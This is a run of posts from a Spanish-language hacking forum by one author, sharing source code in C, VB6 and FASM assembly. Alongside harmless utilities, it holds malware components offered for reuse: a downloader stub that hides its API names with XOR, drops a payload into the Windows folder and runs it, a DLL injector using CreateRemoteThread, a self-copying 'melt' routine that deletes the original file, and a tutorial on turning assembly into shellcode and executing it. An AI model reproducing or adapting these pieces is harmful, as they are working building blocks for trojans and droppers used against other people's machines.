        lea     eax,[lpBuffer]
        invoke  FormatMessage,FORMAT_MESSAGE_ALLOCATE_BUFFER+FORMAT_MESSAGE_FROM_SYSTEM,0,[dwError],LANG_NEUTRAL,eax,0,0
        invoke  MessageBox,[hWnd],[lpBuffer],NULL,MB_ICONERROR+MB_OK
        invoke  LocalFree,[lpBuffer]
        ret
endp

; VOID ShowLastError(HWND hWnd);

proc ShowLastError hWnd
        invoke  GetLastError
        stdcall ShowErrorMessage,[hWnd],eax
        ret
endp
section '.data' data readable writeable
        mensajito db 'Msgbox Hookeado',0
        buffer db ?


section '.idata' import data readable writeable

  library kernel,'KERNEL32.DLL',\
          user,'USER32.DLL'

  import kernel,\
         GetLastError,'GetLastError',\
         SetLastError,'SetLastError',\
         FormatMessage,'FormatMessageA',\
         LocalFree,'LocalFree',\
         LoadLibrary,'LoadLibraryA',\
         GetProcAddress,'GetProcAddress',\
         VirtualProtect,'VirtualProtect'

  import user,\
         MessageBox,'MessageBoxW'

section '.edata' export data readable

  export 'ERRORMSG.DLL',\
         ShowErrorMessage,'ShowErrorMessage',\
         ShowLastError,'ShowLastError'

section '.reloc' fixups data discardable 


un código vale mas que mil palabras  ;D

salu2!
#23
Códigos Fuentes / Simple Shell Remota
Abril 03, 2011, 02:12:03 PM
Este es el código de una shell remota que he creado hace un tiempito:

Código: c
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>

int main()
{
    SECURITY_ATTRIBUTES sa;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
   
    void * leer;
    void * escribir;

    ZeroMemory(&sa,sizeof(&sa));
   
    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.bInheritHandle = TRUE;
    sa.lpSecurityDescriptor = NULL;

    CreatePipe(&leer,&escribir,&sa,0);

    GetStartupInfoA(&si);
   
    si.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;
    si.hStdOutput = escribir;
    si.hStdError  = escribir;
    si.hStdInput = leer;
   
    CreateProcessA(0,"c:\\windows\\system32\\cmd.exe /c dir",0,0,TRUE,0,0,0,&si,&pi);
    Sleep(200);
    CloseHandle(escribir);
   
    char buffer[1024];
    DWORD bleidos;
    ReadFile(leer,buffer,1024,&bleidos,0);
    MessageBoxA(0,buffer,0,0);
   
    system("PAUSE");
    return 0;
}


salu2!
#24
Bueno, este es un cñodigo de ejemplo sobre como hacerlo:

Código: c
// Código By Drinky94

#include <stdio.h>
#include <stdlib.h>

int main()
{
    struct
    {
        unsigned bit0:1;
        unsigned bit1:1;
        unsigned bit2:1;
        unsigned bit3:1;
        unsigned bit4:1;
        unsigned bit5:1;
        unsigned bit6:1;
        unsigned bit7:1;
    } byte;
     
    printf("Introduce un numero: ");
    scanf("%d",&byte);
   
    printf("El numero en binario es: ");
    printf("%d",byte.bit7);
    printf("%d",byte.bit6);
    printf("%d",byte.bit5);
    printf("%d",byte.bit4);
    printf("%d",byte.bit3);
    printf("%d",byte.bit2);
    printf("%d",byte.bit1);
    printf("%d\n",byte.bit0);
   
    system("PAUSE");
    return 0;
}


salu2!
#25
Códigos Fuentes / KeyStroke
Marzo 03, 2011, 06:59:31 PM
Bueno, este es un código de Martyr de indetectables:

Código: c
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

char mensage[]="Hola a todos jaja bonito efecto este.\r\n";

void DynamicDelay()
{
srand(GetTickCount());
Sleep(rand()%300);
}

BOOL CALLBACK notepad(HWND hwnd, LPARAM lpParam)
{
   char szClassName[50] = {0}; //buffer (memoria) para el classname
   GetClassName(hwnd, szClassName, sizeof(szClassName)); //obtener el classname en szClassName
   if(strstr(szClassName, "Notepad")!=NULL) // busca el nombre en el szClassName
   {

      BringWindowToTop(hwnd);
      SetForegroundWindow(hwnd);
      SetFocus(hwnd);

      hwnd=GetDlgItem(hwnd, 15); // poner el window handle de control de escrituria
         if(hwnd!=NULL)
         {
            for(int i=0;i<strlen(mensage);i++)
            {   
               SendMessage(hwnd,WM_CHAR,mensage[i],0); //manda los virtual keys (chars) a la ventana de notepad
               DynamicDelay();

            }
            return false;
         }
   }
      return true;
}


void main()
{
   WinExec("notepad.exe",1);
   while(EnumWindows(notepad,0))Sleep(500);
}



Supongo que les sera util en alguna ocasion.

salu2!
#26
ASM / Funciones En Asm
Marzo 01, 2011, 12:18:06 PM
En este post pondré las funciones que valla creando en FAsm, poco iré rellenando el post :P




La funcion a continuación escrita compara dos cadenas.

Código: asm
proc Comparar,cadena1,cadena2
        ;Si son iguales  EAX = 1
        ;Si son diferentes EAX = 0
        mov esi,[cadena1]
        mov ecx,[cadena2]
        dec ecx
        bucle:
            inc ecx
            lodsb
            cmp byte[ecx],al
            jne diferentes
            cmp al,0
            je comprovar
            jmp bucle
        comprovar:
            cmp byte[ecx],0
            je iguales
            jne diferentes
        diferentes:
            mov eax,0
            ret
        iguales:
            mov eax,1
            ret
     endp


Ejemplo de uso:

Código: asm
include 'win32ax.inc'

.data
    palabra db 'Drinky94',0
    palabra2 db 'Drinky94',0

.code
start:
    stdcall Comparar,palabra,palabra2
    .if eax = 0
        invoke MessageBoxA,0,'Son Diferentes',0,0
    .else
        invoke MessageBoxA,0,'Son Iguales',0,0
    .endif
    ret

    proc Comparar,cadena1,cadena2
        ;Si son iguales  EAX = 1
        ;Si son diferentes EAX = 0
        mov esi,[cadena1]
        mov ecx,[cadena2]
        dec ecx
        bucle:
            inc ecx
            lodsb
            cmp byte[ecx],al
            jne diferentes
            cmp al,0
            je comprovar
            jmp bucle
        comprovar:
            cmp byte[ecx],0
            je iguales
            jne diferentes
        diferentes:
            mov eax,0
            ret
        iguales:
            mov eax,1
            ret
     endp
.end start





Funcion que mide la longitud de una cadena:

Código: asm
proc Len,Cadena
        ;ECX = Longitud de la cadena.
        mov eax,[Cadena]
        mov ecx,-1
        bucle:
            inc ecx
            cmp byte[eax+ecx],0
            jne bucle
        ret
endp


Ejemplo de su uso:

Código: asm
include 'win32ax.inc'

.data
    palabra db 'Drinky94',0
    longitud dd ?
.code
start:
    stdcall Len,palabra
    mov [longitud],ecx
    invoke GlobalAlloc,GPTR,1024
    push eax
    invoke wsprintfA,eax,"%d",[longitud]
    pop eax
    invoke MessageBox,0,eax,0,MB_OK
    leave
    ret

    proc Len,Cadena
        ;ECX = Longitud de la cadena
        mov eax,[Cadena]
        mov ecx,-1
        bucle:
            inc ecx
            cmp byte[eax+ecx],0
            jne bucle
        ret
    endp
.end start
   
#27
Códigos Fuentes / Enumerar Procesos.
Febrero 28, 2011, 03:28:35 PM
Simple código para numerar los procesos activos:

Código: C
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <Tlhelp32.h>

int main()
{
    HANDLE CProc;
    PROCESSENTRY32 Proceso;
    int total;

total = 0;

CProc = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
Process32First(CProc,&Proceso);

while(Process32Next(CProc,&Proceso))
{
printf("%s\n",Proceso.szExeFile);
total++;
}

CloseHandle(CProc);

printf("\nHay un total de: %i procesos abiertos.\n",total);
system("PAUSE");

return 0;
}


salu2!
#28
Códigos Fuentes / File Manager
Febrero 27, 2011, 05:47:05 PM
Bueno, este es un simple modulo con el que puedes obtener los archivos y direcctorios de una ruta y tambien enumerar los discos.  El código esta creado por mi.

Código: vb
Option Explicit
Private Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" (ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function GetFileAttributes Lib "kernel32" Alias "GetFileAttributesA" (ByVal lpFileName As String) As Long
Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long
Private Declare Function GetLogicalDrives Lib "kernel32" () As Long

Private Const FILE_ATTRIBUTE_DIRECTORY = &H10

Private Const MAX_PATH = 260
Private Const MAXDWORD = &HFFFF
Private Const INVALID_HANDLE_VALUE = -1

Private Type FILETIME
    dwLowDateTime As Long
    dwHighDateTime As Long
End Type
Private Type WIN32_FIND_DATA
     dwFileAttributes As Long
     ftCreationTime As FILETIME
     ftLastAccessTime As FILETIME
     ftLastWriteTime As FILETIME
     nFileSizeHigh As Long
     nFileSizeLow As Long
     dwReserved0 As Long
     dwReserved1 As Long
     cFileName As String * MAX_PATH
     cAlternate As String * 14
End Type

Public Function Unidades() As String
    Dim Retorno As Long
    Dim i As Long
    Dim Discos As String

    Retorno = GetLogicalDrives

    For i = 0 To 25
        If (Retorno And 2 ^ i) <> 0 Then
            Discos = Discos & "%%%%" & Chr$(65 + i)
         End If
    Next i

    Unidades = Discos
End Function

Public Function Nulos(Cadena As String) As String
    If InStr(Cadena, Chr(0)) <> 0 Then
        Cadena = Left(Cadena, InStr(Cadena, Chr(0)) - 1)
    End If
    Nulos = Cadena
End Function

Public Function Archivos(Ruta As String) As String
    Dim WFD As WIN32_FIND_DATA
    Dim Inicio As Long
    Dim Seguimos As Long
    Dim ListaArchivos As String

    Inicio = FindFirstFile(Ruta & "*", WFD)
    If Inicio = INVALID_HANDLE_VALUE Then
        Exit Function
    End If

    Seguimos = True

    Do While Seguimos
        If GetFileAttributes(Ruta & WFD.cFileName) = FILE_ATTRIBUTE_DIRECTORY Then
            ListaArchivos = ListaArchivos & Nulos(WFD.cFileName)
            ListaArchivos = ListaArchivos & "$$$$DIREC####"' si es un directorio se añade $$$$DIREC
        Else
            ListaArchivos = ListaArchivos & Nulos(WFD.cFileName)
            ListaArchivos = ListaArchivos & "####"

        End If
        Seguimos = FindNextFile(Inicio, WFD)
    Loop

    FindClose Inicio

    Archivos = ListaArchivos
End Function


salu2!

#29
Bugs y Exploits / Creando Una ShellCode En Fasm.
Febrero 26, 2011, 12:58:34 PM
Bueno, ago este 'tutorial' porque me costo bastante pillar esto de como crear una ShellCode. Estube parte de la tarde de ayer y parte de la tarde de hoy para crear una propia ShellCode basiquita.

Conocimientos previos de ASM y algo de C y VB.

Lo primero que tenemos que hacer es saber lo que quieres que haga nuestra shellcode ( obvio,no?  :laugh:) me refiero a que api usara... para sacar la direccion de la api en su correspondiente libreria. Para eso usaremos un simple programilla creado en C:

Código: php
#include <windows.h>
#include <stdio.h>

/***************************************
arwin - win32 address resolution program
by steve hanna v.01
  vividmachines.com
  shanna      @uiuc.edu
you are free to modify this code
but please attribute me if you
change the code. bugfixes & additions
are welcome please email me!
to compile:
you will need a win32 compiler with
the win32 SDK

this program finds the absolute address
of a function in a specified DLL.
happy shellcoding!
***************************************/


int main(int argc, char** argv)
{
HMODULE hmod_libname;
FARPROC fprc_func;

printf("arwin - win32 address resolution program - by steve hanna - v.01\n");
if(argc < 3)
{
printf("%s <Library Name> <Function Name>\n",argv[0]);
exit(-1);
}

hmod_libname = LoadLibrary(argv[1]);
if(hmod_libname == NULL)
{
printf("Error: could not load library!\n");
exit(-1);
}
fprc_func = GetProcAddress(hmod_libname,argv[2]);

if(fprc_func == NULL)
{
printf("Error: could find the function in the library!\n");
exit(-1);
}
printf("%s is located at 0x%08x in %s\n",argv[2],(unsigned int)fprc_func,argv[1]);
}


yo por ejemplo voi a hacer que mi ShellCode haga un MessageBox. Osea que obtengo la direccion de [email protected] que es: 0x7E3D07EA
Y la direccion de otra API mas [email protected] que es: 0x7C801D7B

Con LoadLibrary lo que haremos sera cargar la libreria User32 para poder hacer el MessageBox.

Yo ya programe el código de mi ShellCode en Fasm:

Código: asm
; direcciones de funciones obtenidas en windows Sp3
Format PE GUI 4.0
entry start

include 'win32ax.inc'

start:
    stdcall funcion

    proc funcion
        call delta ; aplicamos la tecnica del Offset Delta
        delta:
            pop edx
            sub edx,delta
            mov ecx,edx
            add ecx,libreria

        mov eax,7C801D7Bh ;Metemos el eax la direccion de LoadLibrary@Kernel32

        push ecx   ; Metemos en la pila la libreria User32
        call eax     ;Llamamos a LoadLibrary  para cargar User32

        push 0
        push 0
        push 0
        push 0

        mov eax,7E3D07EAh ; Metemos en eax la direccion de MessageBoxA@User32.

        call eax  ; Llamamos a MessageBoxA
        ret
    endp
        libreria db 'user32.dll'

                                       


Si se fijan obtengo la direccion de la variable una vez esta cargado el código en memoria, ya que si simplemente metiera el código normal sin obtener la direccion de la variable en memoria petaría porque la variable seguramente no se encontraria en la misma direccion de memoria donde la compilamos  :).

Para obtener la direccion en memoria de la variable usamos la tecnica del " Delta Offset". Tutorial explicativo sobre como funciona esta tecnica No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



Bien, aora que tenemos shellcode programada generamos el ejecutable y lo abrimos con el OllyDbg para obtener los opcodes a mano.

a mi me quedo una cosa así:



Aora copie linea por linea los opcodes. Seleccione la linea y hice Edit >Binary Copy.
Copie todos los opcodes en un bloc de notas y para pasarlo a una shellcode real utilizaremos una pequeña funcion programada por Messerschmitt en vb6:

Código: vb
Private Sub command1_click()
' codigo by Messerchmitt
Dim Drinky() As String
Drinky() = Split(Text1.Text, " ")
For a = LBound(Drinky) To UBound(Drinky)
Text2.Text = Text2.Text & Drinky(a) & "\x"
Next a
Text2.Text = "\x" & Mid(Text2.Text, 1, Len(Text2.Text) - 2)
End Sub


E Introduciendo los opcodes tal cual los optengo del Olly en el text1:

Código: php
E8 00 00 00 00 E8 00 00 00 00 5A 81 EA 0A 10 40 00 89 D1 81 C1 31 10 40 00 B8 7B 1D 80 7C 

Código: php
51 FF D0 6A 00 6A 00 6A 00 6A 00 B8 EA 07 3D 7E FF D0 C3 75 73 65 72 33 32 2E 64 6C 6C 00


Me saldra ya con formato de ShellCode en el text2:

Código: php
\xE8\x00\x00\x00\x00\xE8\x00\x00\x00\x00\x5A\x81\xEA\x0A\x10\x40\x00\x89\xD1\x81\xC1

Código: php
\x31\x10\x40\x00\xB8\x7B\x1D\x80\x7C\x51\xFF\xD0\x6A\x00\x6A\x00\x6A\x00\x6A\x00\xB8\xEA\x07\x3D

Código: php
\x7E\xFF\xD0\xC3\x75\x73\x65\x72\x33\x32\x2E\x64\x6C\x6C\x00


(Lo siento, parti las cadenas porque sino deforman el Post..)

:laugh: Aora solo provamos nuestra ShellCode (yo la prove en Dev c++ con la siguiente función):

Código: c
char code[] = "\xE8\x00\x00\x00\x00\xE8\x00\x00\x00\x00\x5A\x81\xEA\x0A\x10\x40"\
"\x00\x89\xD1\x81\xC1\x31\x10\x40\x00\xB8\x7B\x1D\x80\x7C\x51\xFF\xD0\x6A\x00\x6A"\
"\x00\x6A\x00\x6A\x00\xB8\xEA\x07\x3D\x7E\xFF\xD0\xC3\x75\x73\x65\x72\x33\x32\x2E"\
"\x64\x6C\x6C\x00";

int main()
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}



Y vemos que funciona  :D:



Maravilloso,no?
jaja, bueno aora podrán crear sus shellcodes desde FAsm y porlomenos si fallan en algo, ya no caeran en las mismas tonterias que cai yo..



Este tutorial no habría sido posible sin el Tutorial De |Shadow| con el que me inicie. Tambien quiero agradecer a Zero toda la ayuda que me da y como no a Jep... este tutorial va dedicado a el  :cura:

PD: tambien a MesserschatGay por ese código en VB.  ;)


Espero que les halla gustado. sin mas que decir me despido.

salu2!,Drinky94.
#30
Bueno, este es el código fuente del Stub del mDownloader, un Downloader programado por mi en Asm.

Código: asm
include 'win32ax.inc'

.data
    manija dd ?
    larchivo dd ?
    espacio dd ?
    bleidos dd ?
    dll db 'rukjhi)ckk',0
    funcion db 'RUKChpikhfcShAnkbF',0
    añadir db '%windir%\archivo.exe',0
    ruta dd ?

.code
start:
        xor  eax, eax
        mov  eax, [FS:eax+0x30]
        mov  eax, [DS:eax+0x10]
        mov  eax, [DS:eax+0x3C]

        invoke CreateFileW,eax, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0
        mov [manija],eax
        invoke GetFileSize,[manija],0
        mov [larchivo],eax
        invoke GlobalAlloc,GPTR,[larchivo]
        mov [espacio],eax
        invoke ReadFile,[manija],[espacio],[larchivo],addr bleidos,0
        invoke CloseHandle,[manija]

        mov ecx,1
        mov eax,[espacio]
        add [larchivo],10
        bucle:

            .if byte[eax+ecx] = '#'
                inc ecx
                .if byte[eax+ecx] = '#'
                    inc ecx
                    .if byte[eax+ecx] = '#'
                        inc ecx
                        add eax,ecx
                        mov [espacio],eax
                        jmp salir
                    .endif
                    dec ecx
                .endif
                dec ecx
             .endif

             .if ecx > [larchivo]
                 jmp salir
             .endif

             inc ecx
             jmp bucle

        salir:

        invoke GlobalAlloc,GPTR,1024
        mov [ruta],eax
        invoke ExpandEnvironmentStrings,añadir,[ruta],1024

        stdcall Cifrar,dll
        invoke LoadLibrary,eax

        push eax
        stdcall Cifrar,funcion
        mov ecx,eax
        pop eax

        invoke GetProcAddress,eax,ecx

        push 0
        push 0
        push [ruta]
        push [espacio]
        push 0

        call eax

        invoke ShellExecute,0,"open",[ruta],0,0,0

        leave
        ret

        proc Cifrar,Cadena
            xor ecx,ecx
            mov eax,[Cadena]
            .bucle:
                .if byte[eax+ecx] = 0
                    jmp .salir
                .endif
                xor byte[eax+ecx],7
                inc ecx
                jmp .bucle
            .salir:
            ret
         endp
.end start   


salu2!
#31
Códigos Fuentes / Formatear unidades
Agosto 30, 2010, 06:37:34 PM
Aqui les dejo otro ejemplo mas, esta vez sobre como formatear unidades desde vb:

Código: vb
 ' By Drinky94
Option Explicit
Private Declare Function SHFormatDrive Lib "shell32" ( _
    ByVal hwnd As Long, _
    ByVal Drive As Long, _
    ByVal fmtID As Long, _
    ByVal options As Long) As Long
Private Sub Formatear(ByVal unidad As String)
    Dim format As String
    format = SHFormatDrive(Me.hwnd, unidad, 0, 0)
    If format = SHFMT_ERROR Then
        MsgBox "Ha ocurido un error durante el formateo"
    ElseIf format = SHFMT_CANCEL Then
        MsgBox "El formateo fue cancelado"
    ElseIf format = SHFMT_NOFORMAT Then
        MsgBox "La unidad no puede ser formateada"
    Else
        MsgBox "La unida ha sido formateada con exito"
    End If
End Sub



salu2!
#32
Códigos Fuentes / Leer Archivo mediante Api
Agosto 30, 2010, 06:36:33 PM
Este es un ejemplo que hice hace un tiempo de como leer archivos mediante api:

Código: vb
' By Drinky94
Option Explicit

Public Declare Function CreateFile Lib "kernel32.dll" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, lpSecurityAttributes As SECURITY_ATTRIBUTES, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
Public Declare Function ReadFile Lib "kernel32.dll" (ByVal hFile As Long, ByRef lpBuffer As Any, ByVal nNumberOfBytesToRead As Long, ByRef lpNumberOfBytesRead As Long, ByRef lpOverlapped As Any) As Long
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long


Public Const GENERIC_READ = &H80000000
Public Const FILE_SHARE_READ = &H1
Public Const FILE_ATTRIBUTE_NORMAL = &H80
Public Const OPEN_EXISTING As Long = 3

Public Type SECURITY_ATTRIBUTES
    nLength As Long
    lpSecurityDescriptor As Long
    bInheritHandle As Long
End Type
Public Type OVERLAPPED
    ternal As Long
    ternalHigh As Long
    offset As Long
    OffsetHigh As Long
    hEvent As Long
End Type


Public Function Archivo(ruta As String) As Boolean
    Dim abrirarchivo As Long
    Dim sa As SECURITY_ATTRIBUTES
    Dim leerarchivo As Long
    Dim over As OVERLAPPED
    Dim buffer As String
    Dim nada As Long
    Dim bytesleidos As Long
    abrirarchivo = CreateFile(ruta, GENERIC_READ, FILE_SHARE_READ, sa, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0)
    buffer = Space(FileLen(ruta))
    leerarchivo = ReadFile(abrirarchivo, ByVal buffer, FileLen(ruta), bytesleidos, over)
    Call CloseHandle(abrirarchivo)
    MsgBox buffer
End Function

Sub Main()
    Call Archivo("c:\feo.txt")
End Sub


salu2!
#33
Ahi le sva el source:

Código: vb
'By Drinky94
Option Explicit
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" ( _
    ByVal hWnd1 As Long, _
    ByVal hWnd2 As Long, _
    ByVal lpsz1 As String, _
    ByVal lpsz2 As String) As Long
Private Declare Function ShowWindow Lib "user32" ( _
    ByVal hwnd As Long, _
    ByVal nCmdShow As Long) As Long
Const SW_SHOW = 5
Const SW_HIDE = 0
Enum Estado
    Visible = 1
    Oculto = 0
End Enum
Public Function Iconos(queacer As Estado)
    Dim ventana As String
    Dim modo As String
    ventana = FindWindowEx(0&, 0&, "Progman", vbNullString)
    If queacer = 0 Then
        modo = ShowWindow(ventana, SW_HIDE)
    Else
        modo = ShowWindow(ventana, SW_SHOW)
    End If
End Function



salu2!
#34
Códigos Fuentes / Inyeccion Dll
Agosto 30, 2010, 06:34:42 PM
Bueno aqui les dejo esta inyeccion dll que cree hace un tiempo:

Código: vb
'***********************************
'** Inyeccion Dll By Drinky94     **
'** Fecha: 16- Junio - 2010       **
'***********************************
Option Explicit

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Declare Function OpenProcess Lib "Kernel32.dll" (ByVal dwDesiredAccessas As Long, ByVal bInheritHandle As Long, ByVal dwProcId As Long) As Long
Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
Private Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long
Private Declare Function CreateRemoteThread Lib "kernel32" (ByVal hProcess As Long, lpThreadAttributes As Long, ByVal dwStackSize As Long, lpStartAddress As Long, lpParameter As Any, ByVal dwCreationFlags As Long, lpThreadId As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

Const STANDARD_RIGHTS_REQUIRED As Long = &HF0000
Const SYNCHRONIZE As Long = &H100000
Const PROCESS_ALL_ACCESS As Long = (STANDARD_RIGHTS_REQUIRED Or SYNCHRONIZE Or &HFFF)
Const MEM_COMMIT As Long = &H1000
Const PAGE_READWRITE As Long = &H4

Public Function Inyectar(Ruta As String, NameWindow As String, RutaDll As String) As Boolean
    On Error GoTo Error
    Dim IdWin As Long
    Dim IdProc As Long
    Dim ProcMan As Long
    Dim EsMe As Long
    Dim NBytes As Long
    Dim Fun As Long
    Dim IdHil As Long
    ShellExecute 0, "open", Ruta, 0, 0, 0
    Sleep (10000)
    IdWin = FindWindow(vbNullString, NameWindow)
    If IdWin = 0 Then GoTo Error
    GetWindowThreadProcessId IdWin, IdProc
    If IdProc = 0 Then GoTo Error
    ProcMan = OpenProcess(PROCESS_ALL_ACCESS, False, IdProc)
    Debug.Print Err.LastDllError
    If ProcMan = 0 Then GoTo Error
    EsMe = VirtualAllocEx(ProcMan, 0, Len(RutaDll), MEM_COMMIT, PAGE_READWRITE)
    Debug.Print Err.LastDllError
    WriteProcessMemory ProcMan, ByVal EsMe, ByVal RutaDll, Len(RutaDll), NBytes
    Fun = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA")
    CreateRemoteThread ProcMan, ByVal 0, 0, ByVal Fun, ByVal EsMe, 0, IdHil
    CloseHandle ProcMan
    Inyectar = True
    Exit Function
Error:
    MsgBox "Error al inyectar la DLL", vbCritical, "Error"
    Inyectar = False
End Function


Ejemplo de uso ( en un modulo):

Código: vb
Sub main()
    Dim retorno As Boolean
    retorno = Inyectar("c:\windows\system32\calc.exe", "Calculadora", "C:\fary.dll")
    If retorno = 0 Then
        MsgBox "La Dll no se pudo inyectar"
    Else
        MsgBox "La Dll se a inyectado con Exito"
    End If
End Sub



salu2!

#35
Bueno aqui les dejo un melt simple que cree hace un tiem po y lo tenia por ahi tirado xD

Código: php
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

Public Function DrinkyMelt(Datos As String) As Boolean
If App.Path = Environ("windir") Then
Kill Datos
' Llegados a este punto ya hemos temrinado el melt y tenemos que llamar a la funcion normal para que siga la ejecucion ejemplo:
' Call Inyectar
Else
FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("Windir") & "\Melt.exe"
Call ShellExecute(0, "Open", Environ("Windir") & "\Melt.exe", App.Path & "\" & App.EXEName & ".exe", vbNullString, 0)
End
End If
End Function

Private Sub form_load()
Call DrinkyMelt(Command)
End Sub


salu2!